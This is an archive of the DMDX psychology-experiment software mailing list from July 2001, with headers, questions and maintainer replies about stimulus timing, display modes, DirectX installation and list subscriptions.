would be as follows: > >d10 f30 >0 ""first"" / ""second""; >1 ""third""; > > ""first"" for 30 ticks > ""second"" for 1 tick as DMDX determines this is the end of the item > ""second"" for 10 ticks > ""third"" > Thanks. However, if I have a frame delimiter: '/' at the end of the image, as in: 0 ""first"" / ""second""/; then does this ensure the stimulus duration for ""second"" is what is specified? Does the extra tic then get added to the interstimulus interval instead of to the duration of ""second""? Thanks again. Keo Keolani Taitano, Ph.D. Postdoctoral Research Fellow Department of Psychiatry University of Arizona Health Sciences Center P.O. Box 245002 Tucson, AZ 85724-5002 voice: 520-626-8568 fax: 253-369-3571 >From DMDX-owner@psy1.psych.arizona.edu Fri Jul 13 14:13:57 2001 Received: from deimos.email.Arizona.EDU (root@deimos-adm.email.Arizona.EDU [128.196.133.166]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id OAA20880 for ; Fri, 13 Jul 2001 14:12:16 -0700 Received: from jcf.u.arizona.edu (128.196.98.7) by deimos.email.Arizona.EDU (5.1.056) id 3B4AADDE0004B9D2 for DMDX@psy1.psych.arizona.edu; Fri, 13 Jul 2001 14:12:15 -0700 Message-Id: <5.1.0.14.2.20010713141147.009ec420@psy1.psych.arizona.edu> Date: Fri, 13 Jul 2001 14:12:15 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] RE: Re: timing question In-Reply-To: <3B4AADE10000313D@deimos.email.Arizona.EDU> References: <5.1.0.14.2.20010712151509.009ebe30@psy1.psych.arizona.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 03:50 PM 7/13/01 -0500, you wrote: >Thanks. However, if I have a frame delimiter: '/' at the end of the image, >as in: > >0 ""first"" / ""second""/; > >then does this ensure the stimulus duration for ""second"" is what is specified? Yep. >Does the extra tic then get added to the interstimulus interval instead >of to the duration of ""second""? Yep. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ If you live to the age of a hundred you have it made because very few people die past the age of a hundred. - George Burns >From DMDX-owner@psy1.psych.arizona.edu Fri Jul 13 14:45:09 2001 Received: from phobos.email.Arizona.EDU (root@phobos-adm.email.Arizona.EDU [128.196.133.165]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id OAA20988 for ; Fri, 13 Jul 2001 14:43:31 -0700 Received: from jcf.u.arizona.edu (128.196.98.7) by phobos.email.Arizona.EDU (5.1.056) id 3B4D1B4300023F4B for DMDX@psy1.psych.arizona.edu; Fri, 13 Jul 2001 14:43:30 -0700 Message-Id: <5.1.0.14.2.20010713143232.009e3ec0@psy1.psych.arizona.edu> Date: Fri, 13 Jul 2001 14:43:31 -0700 To: DMDX@psy1.psych.arizona.edu From: ""Jonathan C. Forster"" Subject: [DMDX] 2.4.08 Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Oops, yesterday's update went out with the 2.4.06 version number instead of the 2.4.07 number it should have had, sorry. Regardless I fixed a couple of other things that were pissing *me* off for a change as opposed to fixing things that were pissing other people off. First was the digital video crash that would occur if DMDX couldn't find the specified digital video file, the fix I applied months ago only exposed another crash, they're both fixed now. Second was making DMDX deal with the infernal Word ""smart quotes"" feature that somehow got turned on on my machine at home and has been irritating me every time I go to test someone's item file problem for some time. This has the potential to screw things up royally as it interprets the RTF control codes \\'93 and \\'94 as double quotes, which is fine if every ANSI font on the face of the planet has quote characters as the 147th and 148th characters but I have no way of knowing whether this is in fact the case. Users of fonts with lots of control words in them (like the asian fonts) might want to test whether their item files still parse correctly or whether DMDX instead complains of missing quotes. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ If you live to the age of a hundred you have it made because very few people die past the age of a hundred. - George Burns >From DMDX-owner@psy1.psych.arizona.edu Sun Jul 15 00:12:15 2001 Received: from hotmail.com (f59.law11.hotmail.com [64.4.17.59]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id AAA24525 for ; Sun, 15 Jul 2001 00:10:06 -0700 Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Sun, 15 Jul 2001 00:09:36 -0700 Received: from 129.94.6.30 by lw11fd.law11.hotmail.msn.com with HTTP; Sun, 15 Jul 2001 07:09:36 GMT From: ""Charles Liu"" To: DMDX@psy1.psych.arizona.edu Subject: [DMDX] Set Display Mode Date: Sun, 15 Jul 2001 17:09:36 +1000 Mime-Version: 1.0 Content-Type: text/plain; format=flowed Message-ID: Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list I was wondering if anyone could help me with the following error msg: ""Set Display Mode failed! DDER-INVALID MODE (88760078) DirectDraw does not support the requested mode"" I am using a Matrox ME G450 Dualhead video card on Windows 98. I have also played around with the monitor's properties (screen area and colour) to match with the selected video mode, but i don't really know what i'm doing...any ideas? thanks for your time, Charles Liu School of Psychology UNSW, Australia. _________________________________________________________________________ Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com. >From DMDX-owner@psy1.psych.arizona.edu Sun Jul 15 03:36:35 2001 Received: from msg2.net-up.com (ns2.net-up.com [62.106.65.253]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id DAA24913 for ; Sun, 15 Jul 2001 03:35:02 -0700 Received: from ibmczz002v ([62.106.10.45]) by msg2.net-up.com with SMTP id <20010715103419.FKLW16376.msg2@ibmczz002v> for ; Sun, 15 Jul 2001 12:34:19 +0200 Message-ID: <002501bfee47$dc03f9c0$2d0a6a3e@ibmczz002v> From: ""jpgranier"" To: Subject: [DMDX] typed responses Date: Sat, 15 Jul 2000 12:31:37 +0200 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary=""----=_NextPart_000_0022_01BFEE58.9EBA3780"" Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list C'est un message de format MIME en plusieurs parties. ------=_NextPart_000_0022_01BFEE58.9EBA3780 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable Hello ! > >I 'd like to run a word identification task in wich the subjects have = to=20 >type on the keyboad what they have seen on the screen. Unfortunately, I = >can't find which parameter to use in the parameter line. Maybe is it=20 >? I' ve tried this one, but it doesn't work. So, if = it's=20 >the good parameter how to insert it in the line ? >Please, can you help me ? >Thank you for answering =20 ------=_NextPart_000_0022_01BFEE58.9EBA3780 Content-Type: text/html; charset=""iso-8859-1"" Content-Transfer-Encoding: quoted-printable Hello !>>I 'd like to run = a word=20 identification task in wich the subjects have to >type on the = keyboad=20 what they have seen on the screen. Unfortunately, I >can't find = which=20 parameter to use in the parameter line. Maybe is it=20 >? I' ve tried this one, but it doesn't = work. So,=20 if it's >the good parameter how to insert it in the line = ?>Please,=20 can you help me ?>Thank you for answering  =20 ------=_NextPart_000_0022_01BFEE58.9EBA3780-- >From DMDX-owner@psy1.psych.arizona.edu Sun Jul 15 09:17:50 2001 Received: from cmailg3.svr.pol.co.uk (cmailg3.svr.pol.co.uk [195.92.195.173]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id JAA25675 for ; Sun, 15 Jul 2001 09:16:15 -0700 Received: from [195.92.168.141] (helo=tmailb1.svr.pol.co.uk) by cmailg3.svr.pol.co.uk with esmtp (Exim 3.13 #0) id 15LoZ4-0001d6-00 for DMDX@psy1.psych.arizona.edu; Sun, 15 Jul 2001 17:16:14 +0100 Received: from modem-966.norwegian-forest.dialup.pol.co.uk ([217.134.99.198] helo=gareth-s-home.psych.york.ac.uk) by tmailb1.svr.pol.co.uk with esmtp (Exim 3.13 #0) id 15LoZ2-0008RO-00 for DMDX@psy1.psych.arizona.edu; Sun, 15 Jul 2001 17:16:13 +0100 Message-Id: <5.1.0.14.0.20010715170932.009f9380@pop.psych.york.ac.uk> Date: Sun, 15 Jul 2001 17:15:27 +0100 To: DMDX@psy1.psych.arizona.edu From: Gareth Gaskell Subject: [DMDX] Re: typed responses In-Reply-To: <002501bfee47$dc03f9c0$2d0a6a3e@ibmczz002v> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list should work I think. As I remember you need to make sure you use the output file type, make sure the feedback is displayed on the screen, and use . Gareth At 12:31 15/07/00 +0200, you wrote: >Hello ! > > > >I 'd like to run a word identification task in wich the subjects have to > >type on the keyboad what they have seen on the screen. Unfortunately, I > >can't find which parameter to use in the parameter line. Maybe is it > >? I' ve tried this one, but it doesn't work. So, if it's > >the good parameter how to insert it in the line ? > >Please, can you help me ? > >Thank you for answering > > >From DMDX-owner@psy1.psych.arizona.edu Sun Jul 15 13:37:20 2001 Received: from panet.co.yu (panet.bits.net [193.203.15.131]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id NAA26219 for ; Sun, 15 Jul 2001 13:35:47 -0700 Received: from korisnik (host-216-252-190-182.interpacket.net [216.252.190.182]) by panet.co.yu (8.10.2/1.1.1) with SMTP id f6FKZcB04991 for ; Sun, 15 Jul 2001 22:35:38 +0200 Message-ID: <003f01c10d80$34a6b4c0$b6befcd8@korisnik> From: ""racic luka"" To: References: <5.1.0.14.2.20010711172617.00a0cec0@psy1.psych.arizona.edu> Subject: [DMDX] Re: 2.4.07 Date: Sun, 15 Jul 2001 22:47:20 -0000 MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Hi Jonathan, I would appreciate if you could unsubscribe us manually. Somehow we were not successful in trying to do so automatically, as you suggested. We had sent mail with word unsubscribe in a body of letter and received following mail: The address is not subscribed to this list. -- /* * Listserver software: Petidomo 2.2 (non-commercial) * Server hardware : Linux-i486 * Utilized cpu time : 0.620000 seconds * Utilized memory : 131728 KByte */ Thanks, Luka >From DMDX-owner@psy1.psych.arizona.edu Sun Jul 15 13:56:10 2001 Received: from breaker.dakotacom.net (breaker.dakotacom.net [208.235.160.21]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with SMTP id NAA26296 for ; Sun, 15 Jul 2001 13:54:42 -0700 Received: (qmail 10611 invoked from network); 15 Jul 2001 20:54:40 -0000 Received: from unknown (HELO anybodyi.u.arizona.edu) (150.135.175.18) by breaker.dakotacom.net with SMTP; 15 Jul 2001 20:54:40 -0000 Message-Id: <5.1.0.14.2.20010715134734.009ec960@psy1.psych.arizona.edu> Date: Sun, 15 Jul 2001 13:55:31 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: Set Display Mode In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 05:09 PM 7/15/01 +1000, you wrote: >I was wondering if anyone could help me with the following error msg: > >""Set Display Mode failed! >DDER-INVALID MODE (88760078) >DirectDraw does not support the requested mode"" > >I am using a Matrox ME G450 Dualhead video card on Windows 98. I have also >played around with the monitor's properties (screen area and colour) to >match with the selected video mode, but i don't really know what i'm >doing...any ideas? Two things occur to me. First is that I've noticed that the secondary display on my Matrox G450 does not enumerate any 8 bit display modes at all. The primary has them but secondary does not. The default display mode for DMDX is 640x480x8, an 8 bit display mode. So if you intend to use the secondary display you will always have to have a keyword in your item files. The only other thing that's possible is that you have an invalid in your item file, that or the mundane things like you haven't timed a video mode and so an and so forth. I've said all I'm going to say on the matter in the help files for DMDX and TimeDX: http://psy1.psych.arizona.edu/~jforster/dmdx/help/dmdxhhowtouseit.htm http://psy1.psych.arizona.edu/~jforster/dmdx/help/timedxhoverview.htm http://psy1.psych.arizona.edu/~jforster/dmdx/help/dmdxhvideomodekeyword.htm -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ That which is everybody's business is nobody's business. - Izaak Walton (1593-1683) The Compleat Angler, 1655 >From DMDX-owner@psy1.psych.arizona.edu Sun Jul 15 14:04:39 2001 Received: from breaker.dakotacom.net (breaker.dakotacom.net [208.235.160.21]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with SMTP id OAA26346 for ; Sun, 15 Jul 2001 14:03:12 -0700 Received: (qmail 12529 invoked from network); 15 Jul 2001 21:03:10 -0000 Received: from unknown (HELO anybodyi.u.arizona.edu) (150.135.175.18) by breaker.dakotacom.net with SMTP; 15 Jul 2001 21:03:10 -0000 Message-Id: <5.1.0.14.2.20010715140215.009f21e0@psy1.psych.arizona.edu> Date: Sun, 15 Jul 2001 14:04:01 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: 2.4.07 In-Reply-To: <003f01c10d80$34a6b4c0$b6befcd8@korisnik> References: <5.1.0.14.2.20010711172617.00a0cec0@psy1.psych.arizona.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 10:47 PM 7/15/01 +0000, you wrote: >Hi Jonathan, > >I would appreciate if you could unsubscribe us manually. Somehow we were not >successful in trying to do so automatically, as you suggested. We had sent >mail with word unsubscribe in a body of letter and received following mail: Try unsubscribing with the angle brackets as I see the following in the list: . . . Emma.Turner@bristol.ac.uk fionnuala.murphy@mrc-cbu.cam.ac.uk . . . -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ That which is everybody's business is nobody's business. - Izaak Walton (1593-1683) The Compleat Angler, 1655 >From DMDX-owner@psy1.psych.arizona.edu Sun Jul 15 17:10:17 2001 Received: from breaker.dakotacom.net (breaker.dakotacom.net [208.235.160.21]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with SMTP id RAA26753 for ; Sun, 15 Jul 2001 17:08:24 -0700 Received: (qmail 26099 invoked from network); 16 Jul 2001 00:08:22 -0000 Received: from unknown (HELO anybodyi.u.arizona.edu) (150.135.175.18) by breaker.dakotacom.net with SMTP; 16 Jul 2001 00:08:22 -0000 Message-Id: <5.1.0.14.2.20010715170507.009eb940@psy1.psych.arizona.edu> Date: Sun, 15 Jul 2001 17:09:14 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: 2.4.07 In-Reply-To: <5.1.0.14.2.20010715140215.009f21e0@psy1.psych.arizona.edu> References: <003f01c10d80$34a6b4c0$b6befcd8@korisnik> <5.1.0.14.2.20010711172617.00a0cec0@psy1.psych.arizona.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 02:04 PM 7/15/01 -0700, you wrote: > Try unsubscribing with the angle brackets as I see the following in the > list: Hmm, the bit pasted on the end didn't go through. Guess the terminally stupid listserv engine considers a period by itself to be the end of the email and so it stops sending the rest of the email. So we'll try it again with ellipses instead: ... Emma.Turner@bristol.ac.uk fionnuala.murphy@mrc-cbu.cam.ac.uk ... -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ That which is everybody's business is nobody's business. - Izaak Walton (1593-1683) The Compleat Angler, 1655 >From DMDX-owner@psy1.psych.arizona.edu Mon Jul 16 14:34:37 2001 Received: from mps2.leeds.ac.uk (mps2.leeds.ac.uk [129.11.16.22]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id OAA29468 for ; Mon, 16 Jul 2001 14:08:41 -0700 From: tomc@psychology.leeds.ac.uk Received: from psychology.leeds.ac.uk (psycho.leeds.ac.uk [129.11.244.14]) by mps2.leeds.ac.uk (8.11.1/8.11.1) with ESMTP id f6GL82524300; Mon, 16 Jul 2001 22:08:02 +0100 (BST) Message-Id: <200107162108.f6GL82524300@mps2.leeds.ac.uk> Received: from PSYC/SpoolDir by psychology.leeds.ac.uk (Mercury 1.46); 16 Jul 01 22:01:48 GMT Received: from SpoolDir by PSYC (Mercury 1.46); 16 Jul 01 22:01:33 GMT To: ""John P. Kline"" , DMDX@psy1.psych.arizona.edu Date: Mon, 16 Jul 2001 22:00:51 +0100 MIME-Version: 1.0 Content-type: Multipart/Mixed; boundary=Message-Boundary-11164 Subject: [DMDX] Re: DMDX installation References: <5.1.0.14.2.20010716153444.01eb4310@darwin.psy.fsu.edu> In-reply-to: Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list --Message-Boundary-11164 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT Content-description: Mail message body On 16 Jul 01, at 21:48, tomc@psychology.leeds.ac.uk wrote: Doesn't look like the Direct X is the problem. I have put the attached file in the same directory as DMDX. The machine runs Windows NT 4.0 rather than windows 95 (mistake on my part). This is an appropriate version of Direct X for Windows NT. Absolutely nothing happens when I click on the file DXMEDIA.EXE when the attached is unzipped. It says something about the package only being intended for professional redistribution. I suspect this excludes me... And the same error message prevails with DMDX: The procedure entry point DirectSoundCaptureCreate could not be located in the dynamic link library DSOUND.dll On 16 Jul 01, at 15:35, John P. Kline wrote: At 07:34 PM 7/16/01 +0100, you wrote: I have a problem with installing DMDX on a windows 1995 machine with SB Audio PCI playback. John Kline got things set up nicely on a Windows 2000 PC with Creative SB AudioPCI. Windows calls these SB things ""preferred sound devices"". I assume they are very similar sound cards. With the Windows 2000 PC things seem to run ok. But with the Windows 1995 machine when I try to run TimedX or DMDX I get a message that reads: The procedure entry point DirectSoundCaptureCreate could not be located in the dynamic link library DSOUND.dll Please can someone explain to me what it going wrong and how to overcome this? Tom, Have you made sure that you've installed DirectX on the Windoze 95 machine? Probably best to install Windoze 98 or ME.... make sure that Direct X is running on the machines. cheers, John On 16 Jul 01, at 11:19, Petidomo Mailing List Server wrote: This DMDX mailing list is for the discussion of DMDX problems. Human Factors Section A18 School of Psychology University of Leeds, Leeds LS2 9JT, UK Phone +44 113 233 5724 (School Office) Fax +44 113 233 5749 tomc@psychology.leeds.ac.uk http://www.psyc.leeds.ac.uk/staff/tomc/index.htm ___________________________________________________________________ John P. Kline, Ph.D. Office Phone: 850-644-9363 Assistant Professor Lab Phone: 850-644-2049 Department of Psychology Fax: 850-644-7739 Florida State University Mailto:kline@psy.fsu.edu Tallahassee, FL 32306-1051 http://klinelab.psy.fsu.edu ___________________________________________________________________ Human Factors Section A18 School of Psychology University of Leeds, Leeds LS2 9JT, UK Phone +44 113 233 5724 (School Office) Fax +44 113 233 5749 tomc@psychology.leeds.ac.uk http://www.psyc.leeds.ac.uk/staff/tomc/index.htm Human Factors Section A18 School of Psychology University of Leeds, Leeds LS2 9JT, UK Phone +44 113 233 5724 (School Office) Fax +44 113 233 5749 tomc@psychology.leeds.ac.uk http://www.psyc.leeds.ac.uk/staff/tomc/index.htm >From DMDX-owner@psy1.psych.arizona.edu Mon Jul 16 14:46:29 2001 Received: from darwin.psy.fsu.edu (root@darwin.psy.fsu.edu [128.186.66.5]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id OAA29535 for ; Mon, 16 Jul 2001 14:46:18 -0700 Received: from kline.darwin.psy.fsu.edu (psy111a [128.186.66.78]) by darwin.psy.fsu.edu (8.11.0/8.11.0) with ESMTP id f6GLjm811930; Mon, 16 Jul 2001 17:45:48 -0400 Message-Id: <5.1.0.14.2.20010716174119.03272390@darwin.psy.fsu.edu> Date: Mon, 16 Jul 2001 17:47:47 -0400 To: , DMDX@psy1.psych.arizona.edu From: ""John P. Kline"" Subject: [DMDX] Re: DMDX installation In-Reply-To: <200107162108.f6GL82524300@mps2.leeds.ac.uk> References: <5.1.0.14.2.20010716153444.01eb4310@darwin.psy.fsu.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list Tom, I recommend running Windows 98 or ME rather than NT... DirectX will have far more control over the timings, and I am not sure that the CIO/DIO 24 will work with Windows NT. It will most certainly have more temporal jitter with NT than it will with Windows 98. I'd start over with a fresh install of Windows 98 on computer, making sure that you have all of the drivers specific to the motherboard, video card, monitor, etc... Do a clean install, and do not install other programs besides DMDX... this is the safest, and will give you the fewest problems. Please make sure to read the help file, as well as browsing the thread of the listserv.... it will take you a week or so to get things up and running, but doing it right from the beginning will pay off in spades. cheers, John At 10:00 PM 7/16/01 +0100, tomc@psychology.leeds.ac.uk wrote: >On 16 Jul 01, at 21:48, tomc@psychology.leeds.ac.uk wrote: > > > Doesn't look like the Direct X is the problem. I have put the > attached file in the same directory as DMDX. The machine runs > Windows NT 4.0 rather than windows 95 (mistake on my part). This is an > appropriate version of Direct X for Windows NT. Absolutely nothing > happens when I click on the file DXMEDIA.EXE when the attached is >unzipped. It says something about the package only being >intended for professional redistribution. I suspect this excludes >me... > >And the same error message prevails with DMDX: > > The procedure entry point DirectSoundCaptureCreate could not be > located in the dynamic link library DSOUND.dll > > > > > On 16 Jul 01, at 15:35, John P. Kline wrote: > > At 07:34 PM 7/16/01 +0100, you wrote: > > I have a problem with installing DMDX on a windows 1995 machine > with SB Audio PCI playback. John Kline got things set up nicely on > a Windows 2000 PC with Creative SB AudioPCI. Windows calls these SB > things ""preferred sound devices"". I assume they are very similar > sound cards. > > With the Windows 2000 PC things seem to run ok. But with the > Windows 1995 machine when I try to run TimedX or DMDX I get a > message that reads: > > The procedure entry point DirectSoundCaptureCreate could not be > located in the dynamic link library DSOUND.dll > > Please can someone explain to me what it going wrong and how to > overcome this? > > Tom, > > Have you made sure that you've installed DirectX on the Windoze 95 > machine? Probably best to install Windoze 98 or ME.... make sure > that Direct X is running on the machines. > > cheers, > > John > > > > > > > On 16 Jul 01, at 11:19, Petidomo Mailing List Server wrote: > > This DMDX mailing list is for the discussion of DMDX problems. > > > > Human Factors Section A18 > > School of Psychology > > > University of Leeds, Leeds LS2 9JT, UK > > > Phone +44 113 233 5724 (School Office) > > > Fax +44 113 233 5749 > > tomc@psychology.leeds.ac.uk > > http://www.psyc.leeds.ac.uk/staff/tomc/index.htm > > > > ___________________________________________________________________ > John P. Kline, Ph.D. Office Phone: > 850-644-9363 Assistant Professor Lab Phone: > > 850-644-2049 Department of Psychology Fax: > > 850-644-7739 Florida State University > Mailto:kline@psy.fsu.edu Tallahassee, FL 32306-1051 > http://klinelab.psy.fsu.edu > ___________________________________________________________________ > > > > > Human Factors Section A18 > > School of Psychology > > University of Leeds, Leeds LS2 9JT, UK > > Phone +44 113 233 5724 (School Office) > > Fax +44 113 233 5749 > > tomc@psychology.leeds.ac.uk > > http://www.psyc.leeds.ac.uk/staff/tomc/index.htm > > > > Human Factors Section A18 > > School of Psychology > > > University of Leeds, Leeds LS2 9JT, UK > > > Phone +44 113 233 5724 (School Office) > > > Fax +44 113 233 5749 > > tomc@psychology.leeds.ac.uk > >http://www.psyc.leeds.ac.uk/staff/tomc/index.htm >The following section of this message contains a file attachment >prepared for transmission using the Internet MIME message format. >If you are using Pegasus Mail, or any another MIME-compliant system, >you should be able to save it or view it from within your mailer. >If you cannot, please ask your system administrator for assistance. > > ---- File information ----------- > File: directx60nt.exe > Date: 16 Jul 2001, 21:29 > Size: 4678944 bytes. > Type: PCEXE ___________________________________________________________________ John P. Kline, Ph.D. Office Phone: 850-644-9363 Assistant Professor Lab Phone: 850-644-2049 Department of Psychology Fax: 850-644-7739 Florida State University Mailto:kline@psy.fsu.edu Tallahassee, FL 32306-1051 http://klinelab.psy.fsu.edu ___________________________________________________________________ >From DMDX-owner@psy1.psych.arizona.edu Mon Jul 16 18:24:54 2001 Received: from breaker.dakotacom.net (breaker.dakotacom.net [208.235.160.21]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with SMTP id SAA30072 for ; Mon, 16 Jul 2001 18:24:40 -0700 Received: (qmail 21750 invoked from network); 17 Jul 2001 01:24:38 -0000 Received: from unknown (HELO anybodyi.u.arizona.edu) (150.135.175.18) by breaker.dakotacom.net with SMTP; 17 Jul 2001 01:24:38 -0000 Message-Id: <5.1.0.14.2.20010716182357.009ec690@psy1.psych.arizona.edu> Date: Mon, 16 Jul 2001 18:25:30 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: DMDX installation In-Reply-To: <200107162108.f6GL82524300@mps2.leeds.ac.uk> References: <5.1.0.14.2.20010716153444.01eb4310@darwin.psy.fsu.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 10:00 PM 7/16/01 +0100, you wrote: >On 16 Jul 01, at 21:48, tomc@psychology.leeds.ac.uk wrote: > > > Doesn't look like the Direct X is the problem. I have put the > attached file in the same directory as DMDX. The machine runs > Windows NT 4.0 rather than windows 95 (mistake on my part). This is an > appropriate version of Direct X for Windows NT. Absolutely nothing > happens when I click on the file DXMEDIA.EXE when the attached is >unzipped. It says something about the package only being >intended for professional redistribution. I suspect this excludes >me... > >And the same error message prevails with DMDX: > > The procedure entry point DirectSoundCaptureCreate could not be > located in the dynamic link library DSOUND.dll > Thanks for borking the list up there, kindly refrain from sending attachments to the list, let alone multi-megabyte ones. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ That which is everybody's business is nobody's business. - Izaak Walton (1593-1683) The Compleat Angler, 1655 >From DMDX-owner@psy1.psych.arizona.edu Mon Jul 16 18:26:53 2001 Received: from breaker.dakotacom.net (breaker.dakotacom.net [208.235.160.21]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with SMTP id SAA30086 for ; Mon, 16 Jul 2001 18:26:47 -0700 Received: (qmail 22519 invoked from network); 17 Jul 2001 01:26:45 -0000 Received: from unknown (HELO anybodyi.u.arizona.edu) (150.135.175.18) by breaker.dakotacom.net with SMTP; 17 Jul 2001 01:26:45 -0000 Message-Id: <5.1.0.14.2.20010716182558.009e9cf0@psy1.psych.arizona.edu> Date: Mon, 16 Jul 2001 18:27:36 -0700 To: DMDX@psy1.psych.arizona.edu From: ""j.c.f."" Subject: [DMDX] Re: DMDX installation In-Reply-To: <5.1.0.14.2.20010716174119.03272390@darwin.psy.fsu.edu> References: <200107162108.f6GL82524300@mps2.leeds.ac.uk> <5.1.0.14.2.20010716153444.01eb4310@darwin.psy.fsu.edu> Mime-Version: 1.0 Content-Type: text/plain; charset=""us-ascii""; format=flowed Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list At 05:47 PM 7/16/01 -0400, you wrote: >Tom, > >I recommend running Windows 98 or ME rather than NT... Not to mention the fact that features that DMDX requires are not available for NT, hacked up DirectX 6 installs notwithstanding. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ That which is everybody's business is nobody's business. - Izaak Walton (1593-1683) The Compleat Angler, 1655 >From DMDX-owner@psy1.psych.arizona.edu Tue Jul 17 01:24:51 2001 Received: from mailhost.mrc-cbu.cam.ac.uk (sirius.mrc-cbu.cam.ac.uk [192.153.213.178]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id BAA30955 for ; Tue, 17 Jul 2001 01:24:23 -0700 Received: from pc114 by mailhost.mrc-cbu.cam.ac.uk with Sendmail (8.9.3/V3080601); Tue, 17 Jul 2001 09:24:20 +0100 (BST) From: ""Andy"" To: ""DMDX"" Subject: [DMDX] Re: Freezing Video Date: Tue, 17 Jul 2001 09:24:17 +0100 Message-ID: <000301c10e99$df189580$92fd3fc1@mrccbu.cam.ac.uk> MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit Reply-To: DMDX@psy1.psych.arizona.edu Sender: DMDX-owner@psy1.psych.arizona.edu Precedence: list I've kinda cracked the freezing video requirement. For some reason, the code below allows a video to be played and then keeps the last frame on screen until the subject responds... does not work all the time though (a quirk of my hardware?). f10 m110 zk> < mpr ""+2""> < mpr ""+3""> < mpr ""+4""> < mpr ""+5""> < mpr ""+6""> < mpr ""+7""> +1 * ""pe_f"" / / ""Fear""; 0 L ""The End"" ; Hope this is of use to someone, Andy W. >From DMDX-owner@psy1.psych.arizona.edu Tue Jul 17 04:52:38 2001 Received: from mps2.leeds.ac.uk (mps2.leeds.ac.uk [129.11.16.22]) by psy1.psych.arizona.edu (8.8.7/8.8.8) with ESMTP id EAA31425 for ; Tue, 17 Jul 2001 04:52:25 -0700 From: tomc@psychology.leeds.ac.uk Received: from psychology.leeds.ac.uk (psycho.leeds.ac.uk [129.11.244.14]) by mps2.leeds.ac.uk (8.11.1/8.11.1) with ESMTP id f6HBqN511188 for ; Tue, 17 Jul 2001 12:52:24 +0100 (BST) Message-Id: <200107171152.f6HBqN511188@mps2.leeds.ac.uk> Received: from PSYC/SpoolDir by psychology.leeds.ac.uk (Mercury 1.46); 17 Jul 01 12:46:02 GMT Received: from SpoolDir by PSYC (Mercury 1.46); 17 Jul 01 12:46:00 GMT To: DMDX@psy1.psych.arizona.edu Date: Tue, 17 Jul 2001 12:45:57 +0100 MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT Subject: [DMDX] Re: 